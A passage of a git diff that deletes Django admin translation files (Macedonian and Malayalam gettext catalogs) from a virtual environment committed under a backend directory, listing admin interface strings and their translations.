-msgid "View %s" -msgstr "Погледни %s" - -msgid "Database error" -msgstr "Грешка во базата на податоци" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s ставка %(name)s беше успешно изменета." -msgstr[1] "%(count)s ставки %(name)s беа успешно изменети." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s одбран" -msgstr[1] "Сите %(total_count)s одбрани" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 од %(cnt)s избрани" - -#, python-format -msgid "Change history: %s" -msgstr "Историја на измени: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Бришењето на %(class_name)s %(instance)s бара бришење на следните заштитени " -"поврзани објекти: %(related_objects)s" - -msgid "Django site admin" -msgstr "Администрација на Џанго сајт" - -msgid "Django administration" -msgstr "Џанго администрација" - -msgid "Site administration" -msgstr "Администрација на сајт" - -msgid "Log in" -msgstr "Најава" - -#, python-format -msgid "%(app)s administration" -msgstr "Администрација на %(app)s" - -msgid "Page not found" -msgstr "Страницата не е најдена" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Се извинуваме, страница која ја побаравте не е пронајдена" - -msgid "Home" -msgstr "Дома" - -msgid "Server error" -msgstr "Грешка со серверот" - -msgid "Server error (500)" -msgstr "Грешка со серверот (500)" - -msgid "Server Error (500)" -msgstr "Грешка со серверот (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Наидовте на грешка. Известени се администраторите на страницата преку имејл " -"и би требало наскоро да биде поправена. Ви благодариме на трпението." - -msgid "Run the selected action" -msgstr "Изврши ја избраната акција" - -msgid "Go" -msgstr "Оди" - -msgid "Click here to select the objects across all pages" -msgstr "Кликнете тука за да изберете објекти низ сите страници" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Избери ги сите %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Откажи го изборот" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Модели во %(name)s апликација" - -msgid "Add" -msgstr "Додади" - -msgid "View" -msgstr "Погледни" - -msgid "You don’t have permission to view or edit anything." -msgstr "Немате дозвола да прегледате или промените ништо" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Прво внесете корисничко име и лозинка па потоа ќе можете да уредувате повеќе " -"опции за корисникот" - -msgid "Enter a username and password." -msgstr "Внесете корисничко име и лозинка." - -msgid "Change password" -msgstr "Промени лозинка" - -msgid "Please correct the error below." -msgstr "Ве молиме поправете ја грешката подолу." - -msgid "Please correct the errors below." -msgstr "Ве молам поправете ги грешките подолу." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Внесете нова лозинка за корисникот %(username)s." - -msgid "Welcome," -msgstr "Добредојдовте," - -msgid "View site" -msgstr "Посети го сајтот" - -msgid "Documentation" -msgstr "Документација" - -msgid "Log out" -msgstr "Одјава" - -#, python-format -msgid "Add %(name)s" -msgstr "Додади %(name)s" - -msgid "History" -msgstr "Историја" - -msgid "View on site" -msgstr "Погледни на сајтот" - -msgid "Filter" -msgstr "Филтер" - -msgid "Clear all filters" -msgstr "Ресетирај ги сите филтри" - -msgid "Remove from sorting" -msgstr "Отстрани од сортирање" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Приоритет на сортирање: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Вклучи/исклучи сортирање" - -msgid "Delete" -msgstr "Избриши" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Бришење на %(object_name)s '%(escaped_object)s' ќе резултира со бришење на " -"поврзаните објекти, но со вашата сметка немате доволно привилегии да ги " -"бришете следните типови на објекти:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Бришење на %(object_name)s '%(escaped_object)s' ќе резултира со бришење на " -"следниве заштитени објекти:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Сигурне сте дека сакате да ги бришете %(object_name)s „%(escaped_object)s“? " -"Сите овие ставки ќе бидат избришани:" - -msgid "Objects" -msgstr "Предмети" - -msgid "Yes, I’m sure" -msgstr "Да, сигурен сум" - -msgid "No, take me back" -msgstr "Не, врати ме назад" - -msgid "Delete multiple objects" -msgstr "Избриши повеќе ставки" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Бришење на избраните %(objects_name)s ќе резултира со бришење на поврзани " -"објекти, но немате одобрување да ги избришете следниве типови објекти:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Бришење на избраните %(objects_name)s бара бришење на следните поврзани " -"објекти кои се заштитени:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Дали сте сигурни дека сакате да го избришете избраниот %(objects_name)s? " -"Сите овие објекти и оние поврзани со нив ќе бидат избришани:" - -msgid "Delete?" -msgstr "Избриши?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Според %(filter_title)s " - -msgid "Summary" -msgstr "Резиме" - -msgid "Recent actions" -msgstr "Последни акции" - -msgid "My actions" -msgstr "Мои акции" - -msgid "None available" -msgstr "Ништо не е достапно" - -msgid "Unknown content" -msgstr "Непозната содржина" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Нешто не е во ред со инсталацијата на базата на податоци. Уверете се дека " -"соодветните табели се создадени, и дека базата на податоци е пристапна до " -"соодветниот корисник." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Најавени сте како %(username)s, но не сте авторизирани да пристапите до " -"оваа страна. Сакате ли да се најавите како друг корисник?" - -msgid "Forgotten your password or username?" -msgstr "Ја заборавивте вашата лозинка или корисничко име?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "Започнете со пишување за да филтрирате..." - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Датум/час" - -msgid "User" -msgstr "Корисник" - -msgid "Action" -msgstr "Акција" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Прикажи ги сите" - -msgid "Save" -msgstr "Сними" - -msgid "Popup closing…" -msgstr "Попапот се затвара..." - -msgid "Search" -msgstr "Барај" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s резултат" -msgstr[1] "%(counter)s резултати" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "вкупно %(full_result_count)s" - -msgid "Save as new" -msgstr "Сними како нова" - -msgid "Save and add another" -msgstr "Сними и додади уште" - -msgid "Save and continue editing" -msgstr "Сними и продолжи со уредување" - -msgid "Save and view" -msgstr "Сними и прегледај" - -msgid "Close" -msgstr "Затвори" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Промени ги избраните %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Додади уште %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Избриши ги избраните %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "Најавете се повторно" - -msgid "Password change" -msgstr "Измена на лозинка" - -msgid "Your password was changed." -msgstr "Вашата лозинка беше сменета." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "Промени ја мојата лозинка" - -msgid "Password reset" -msgstr "Ресетирање на лозинка" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Вашата лозинка беше поставена. Сега можете да се најавите." - -msgid "Password reset confirmation" -msgstr "Одобрување за ресетирање на лозинка" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Ве молам внесете ја вашата нова лозинка двапати за да може да бидете сигурни " -"дека правилно сте ја внеле." - -msgid "New password:" -msgstr "Нова лозинка:" - -msgid "Confirm password:" -msgstr "Потврди лозинка:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Врската за ресетирање на лозинката беше невалидна, најверојатно бидејќи веќе " -"била искористена. Ве молам повторно побарајте ресетирање на вашата лозинката." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Го примате овој email бидејќи побаравте ресетирање на лозинка како корисник " -"на %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Ве молам одете на следната страница и внесете нова лозинка:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Вашето корисничко име, во случај да сте заборавиле:" - -msgid "Thanks for using our site!" -msgstr "Ви благодариме што го користите овој сајт!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Тимот на %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Ја заборавивте вашата лозинка? Внесете го вашиот имејл и ќе ви пратиме " -"инструкции да подесите нова лозинка. " - -msgid "Email address:" -msgstr "Email адреса:" - -msgid "Reset my password" -msgstr "Ресетирај ја мојата лозинка" - -msgid "All dates" -msgstr "Сите датуми" - -#, python-format -msgid "Select %s" -msgstr "Изберете %s" - -#, python-format -msgid "Select %s to change" -msgstr "Изберете %s за измена" - -#, python-format -msgid "Select %s to view" -msgstr "Изберете %s за прегледување" - -msgid "Date:" -msgstr "Датум:" - -msgid "Time:" -msgstr "Време:" - -msgid "Lookup" -msgstr "Побарај" - -msgid "Currently:" -msgstr "Моментално:" - -msgid "Change:" -msgstr "Измени:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.mo deleted file mode 100644 index c87ddf6d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.po deleted file mode 100644 index bd720102..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,262 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Vasil Vangelovski , 2016 -# Vasil Vangelovski , 2014 -# Vasil Vangelovski , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-01-15 11:28+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Macedonian (http://www.transifex.com/django/django/language/" -"mk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mk\n" -"Plural-Forms: nplurals=2; plural=(n % 10 == 1 && n % 100 != 11) ? 0 : 1;\n" - -#, javascript-format -msgid "Available %s" -msgstr "Достапно %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Ова е листа на достапни %s. Можете да изберете неколку кликајќи на нив во " -"полето подолу и со кликање на стрелката \"Одбери\" помеѓу двете полиња." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Пишувајте во ова поле за да ја филтрирате листата на достапни %s." - -msgid "Filter" -msgstr "Филтер" - -msgid "Choose all" -msgstr "Одбери ги сите ги сите" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Кликнете за да ги одберете сите %s од еднаш." - -msgid "Choose" -msgstr "Одбери" - -msgid "Remove" -msgstr "Отстрани" - -#, javascript-format -msgid "Chosen %s" -msgstr "Одбрано %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ова е листа на избрани %s. Можете да отстраните неколку кликајќи на нив во " -"полето подолу и со кликање на стрелката \"Отстрани\" помеѓу двете полиња." - -msgid "Remove all" -msgstr "Отстрани ги сите" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Кликнете за да ги отстраните сите одбрани %s одеднаш." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "избрано %(sel)s од %(cnt)s" -msgstr[1] "одбрани %(sel)s од %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Имате незачувани промени на поединечни полиња. Ако извршите акција вашите " -"незачувани промени ќе бидат изгубени." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Сега" - -msgid "Midnight" -msgstr "Полноќ" - -msgid "6 a.m." -msgstr "6 наутро" - -msgid "Noon" -msgstr "Пладне" - -msgid "6 p.m." -msgstr "6 попладне" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Забелешка: Вие сте %s час понапред од времето на серверот." -msgstr[1] "Забелешка: Вие сте %s часа понапред од времето на серверот." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Забелешка: Вие сте %s час поназад од времето на серверот." -msgstr[1] "Забелешка: Вие сте %s часа поназад од времето на серверот." - -msgid "Choose a Time" -msgstr "Одбери време" - -msgid "Choose a time" -msgstr "Одбери време" - -msgid "Cancel" -msgstr "Откажи" - -msgid "Today" -msgstr "Денеска" - -msgid "Choose a Date" -msgstr "Одбери датум" - -msgid "Yesterday" -msgstr "Вчера" - -msgid "Tomorrow" -msgstr "Утре" - -msgid "January" -msgstr "Јануари" - -msgid "February" -msgstr "Февруари" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Април" - -msgid "May" -msgstr "Мај" - -msgid "June" -msgstr "Јуни" - -msgid "July" -msgstr "Јули" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Септември" - -msgid "October" -msgstr "Октомври" - -msgid "November" -msgstr "Ноември" - -msgid "December" -msgstr "Декември" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Н" - -msgctxt "one letter Monday" -msgid "M" -msgstr "П" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "В" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "С" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Ч" - -msgctxt "one letter Friday" -msgid "F" -msgstr "П" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "С" - -msgid "Show" -msgstr "Прикажи" - -msgid "Hide" -msgstr "Сокриј" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/django.mo deleted file mode 100644 index f75d3d6a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/django.po deleted file mode 100644 index d96aab9b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/django.po +++ /dev/null @@ -1,700 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aby Thomas , 2014 -# Hrishikesh , 2019-2020 -# Jannis Leidel , 2011 -# JOMON THOMAS LOBO , 2019 -# Junaid , 2012 -# MUHAMMED RAMEEZ , 2019 -# Rajeesh Nair , 2011-2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-07-14 19:53+0200\n" -"PO-Revision-Date: 2020-07-14 22:38+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Malayalam (http://www.transifex.com/django/django/language/" -"ml/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ml\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)sവിജയകയരമായി നീക്കം ചെയ്തു." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s നീക്കം ചെയ്യാന്‍ കഴിയില്ല." - -msgid "Are you sure?" -msgstr "തീര്‍ച്ചയാണോ?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "തെരഞ്ഞെടുത്ത %(verbose_name_plural)s നീക്കം ചെയ്യുക." - -msgid "Administration" -msgstr "കാര്യനിർവഹണം" - -msgid "All" -msgstr "മുഴുവനും" - -msgid "Yes" -msgstr "അതെ" - -msgid "No" -msgstr "അല്ല" - -msgid "Unknown" -msgstr "അറിയില്ല" - -msgid "Any date" -msgstr "ഏതെങ്കിലും തീയ്യതി" - -msgid "Today" -msgstr "ഇന്ന്" - -msgid "Past 7 days" -msgstr "കഴിഞ്ഞ 7 ദിവസങ്ങൾ" - -msgid "This month" -msgstr "ഈ മാസം" - -msgid "This year" -msgstr "ഈ വര്‍ഷം" - -msgid "No date" -msgstr "തിയ്യതിയില്ല " - -msgid "Has date" -msgstr "തിയ്യതിയുണ്ട്" - -msgid "Empty" -msgstr "കാലി" - -msgid "Not empty" -msgstr "കാലിയല്ല" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"ദയവായി സ്റ്റാഫ് അക്കൗണ്ടിനുവേണ്ടിയുള്ള ശരിയായ %(username)s പാസ്‌വേഡ് എന്നിവ നൽകുക. രണ്ടു " -"കള്ളികളിലും അക്ഷരങ്ങള്‍ വലിയക്ഷരമോ ചെറിയക്ഷരമോ എന്നത് പ്രധാനമാണെന്നത് ശ്രദ്ധിയ്ക്കുക." - -msgid "Action:" -msgstr "ആക്ഷന്‍" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "മറ്റൊരു %(verbose_name)s കൂടി ചേര്‍ക്കുക" - -msgid "Remove" -msgstr "കളയുക" - -msgid "Addition" -msgstr "ചേർക്കുക" - -msgid "Change" -msgstr "മാറ്റുക" - -msgid "Deletion" -msgstr "കളയുക" - -msgid "action time" -msgstr "നടന്ന സമയം" - -msgid "user" -msgstr "ഉപയോക്താവ്" - -msgid "content type" -msgstr "കണ്ടന്റ് ടൈപ്പ്" - -msgid "object id" -msgstr "ഒബ്ജക്റ്റിന്റെ ഐഡി" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "ഒബ്ജെക്ട് റെപ്രസന്റേഷൻ" - -msgid "action flag" -msgstr "ആക്ഷന്‍ ഫ്ളാഗ്" - -msgid "change message" -msgstr "സന്ദേശം മാറ്റുക" - -msgid "log entry" -msgstr "ലോഗ് എൻട്രി" - -msgid "log entries" -msgstr "ലോഗ് എൻട്രികള്‍" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” ചേർത്തു." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” മാറ്റം വരുത്തി — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -msgid "LogEntry Object" -msgstr "ലോഗ്‌എന്‍ട്രി ഒബ്ജെക്റ്റ്" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "ചേര്‍ത്തു." - -msgid "and" -msgstr "കൂടാതെ" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "ഒരു മാറ്റവുമില്ല." - -msgid "None" -msgstr "ഒന്നുമില്ല" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "താഴെ നിങ്ങൾക്കിത് വീണ്ടും എഡിറ്റുചെയ്യാം" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "ആക്ഷന്‍ നടപ്പിലാക്കേണ്ട വകകള്‍ തെരഞ്ഞെടുക്കണം. ഒന്നിലും മാറ്റങ്ങൾ വരുത്തിയിട്ടില്ല." - -msgid "No action selected." -msgstr "ആക്ഷനൊന്നും തെരഞ്ഞെടുത്തിട്ടില്ല." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s ചേര്‍ക്കുക" - -#, python-format -msgid "Change %s" -msgstr "%s മാറ്റാം" - -#, python-format -msgid "View %s" -msgstr "%s കാണുക" - -msgid "Database error" -msgstr "ഡേറ്റാബേസ് എറർ." - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s ല്‍ മാറ്റം വരുത്തി." -msgstr[1] "%(count)s %(name)s വിജയകരമായി മാറ്റി" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s തെരഞ്ഞെടുത്തു." -msgstr[1] "%(total_count)sമൊത്തമായി തെരഞ്ഞെടുത്തു." - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s ല്‍ 0 തിരഞ്ഞെടുത്തിരിക്കുന്നു" - -#, python-format -msgid "Change history: %s" -msgstr "%s ലെ മാറ്റങ്ങള്‍." - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -" %(class_name)s %(instance)s നീക്കം ചെയ്യണമെങ്കിൽ അതിനോട് ബന്ധപ്പെട്ടതായ താഴെപ്പറയുന്ന " -"എല്ലാ വസ്തുക്കളും നീക്കം ചെയ്യുന്നതാണ്: %(related_objects)s" - -msgid "Django site admin" -msgstr "ജാംഗോ സൈറ്റ് അഡ്മിന്‍" - -msgid "Django administration" -msgstr "ജാംഗോ കാര്യനിർവഹണം" - -msgid "Site administration" -msgstr "സൈറ്റ് കാര്യനിർവഹണം" - -msgid "Log in" -msgstr "ലോഗിൻ" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s കാര്യനിർവഹണം" - -msgid "Page not found" -msgstr "പേജ് കണ്ടെത്താനായില്ല" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "ക്ഷമിക്കണം, ആവശ്യപ്പെട്ട പേജ് കണ്ടെത്താന്‍ കഴിഞ്ഞില്ല." - -msgid "Home" -msgstr "പൂമുഖം" - -msgid "Server error" -msgstr "സെര്‍വറിൽ എന്തോ പ്രശ്നം" - -msgid "Server error (500)" -msgstr "സെര്‍വറിൽ എന്തോ പ്രശ്നം (500)" - -msgid "Server Error (500)" -msgstr "സെര്‍വറിൽ എന്തോ പ്രശ്നം (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "തെരഞ്ഞെടുത്ത ആക്ഷന്‍ നടപ്പിലാക്കുക" - -msgid "Go" -msgstr "തുടരുക" - -msgid "Click here to select the objects across all pages" -msgstr "എല്ലാ പേജിലേയും ഒബ്ജക്റ്റുകൾ തെരഞ്ഞെടുക്കാന്‍ ഇവിടെ ക്ലിക് ചെയ്യുക." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "മുഴുവന്‍ %(total_count)s %(module_name)s ഉം തെരഞ്ഞെടുക്കുക" - -msgid "Clear selection" -msgstr "തെരഞ്ഞെടുത്തത് റദ്ദാക്കുക." - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s മാതൃകയിലുള്ള" - -msgid "Add" -msgstr "ചേര്‍ക്കുക" - -msgid "View" -msgstr "കാണുക" - -msgid "You don’t have permission to view or edit anything." -msgstr "നിങ്ങൾക്ക് ഒന്നും കാണാനോ തിരുത്താനോ ഉള്ള അനുമതിയില്ല." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"ആദ്യമായി ഒരു യൂസർനെയിമും പാസ്‌‌വേഡും നൽകുക. തുടർന്ന്, നിങ്ങൾക്ക് കൂടുതൽ കാര്യങ്ങളിൽ മാറ്റം " -"വരുത്താവുന്നതാണ്" - -msgid "Enter a username and password." -msgstr "Enter a username and password." - -msgid "Change password" -msgstr "പാസ് വേര്‍ഡ് മാറ്റുക." - -msgid "Please correct the error below." -msgstr "താഴെ പറയുന്ന തെറ്റുകൾ തിരുത്തുക " - -msgid "Please correct the errors below." -msgstr "ദയവായി താഴെയുള്ള തെറ്റുകള്‍ പരിഹരിക്കുക." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s ന് പുതിയ പാസ് വേര്‍ഡ് നല്കുക." - -msgid "Welcome," -msgstr "സ്വാഗതം, " - -msgid "View site" -msgstr "സൈറ്റ് കാണുക " - -msgid "Documentation" -msgstr "സഹായക്കുറിപ്പുകള്‍" - -msgid "Log out" -msgstr "പുറത്ത് കടക്കുക." - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s ചേര്‍ക്കുക" - -msgid "History" -msgstr "ചരിത്രം" - -msgid "View on site" -msgstr "View on site" - -msgid "Filter" -msgstr "അരിപ്പ" - -msgid "Clear all filters" -msgstr "എല്ലാ ഫിൽറ്ററുകളും ഒഴിവാക്കുക" - -msgid "Remove from sorting" -msgstr "ക്രമീകരണത്തില്‍ നിന്നും ഒഴിവാക്കുക" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "ക്രമീകരണത്തിനുള്ള മുന്‍ഗണന: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "ക്രമീകരണം വിപരീത ദിശയിലാക്കുക." - -msgid "Delete" -msgstr "നീക്കം ചെയ്യുക" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s ഡിലീറ്റ് ചെയ്യുമ്പോള്‍ അതുമായി ബന്ധമുള്ള " -"വസ്തുക്കളുംഡിലീറ്റ് ആവും. പക്ഷേ നിങ്ങള്‍ക്ക് താഴെ പറഞ്ഞ തരം വസ്തുക്കള്‍ ഡിലീറ്റ് ചെയ്യാനുള്ള അനുമതി " -"ഇല്ല:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related 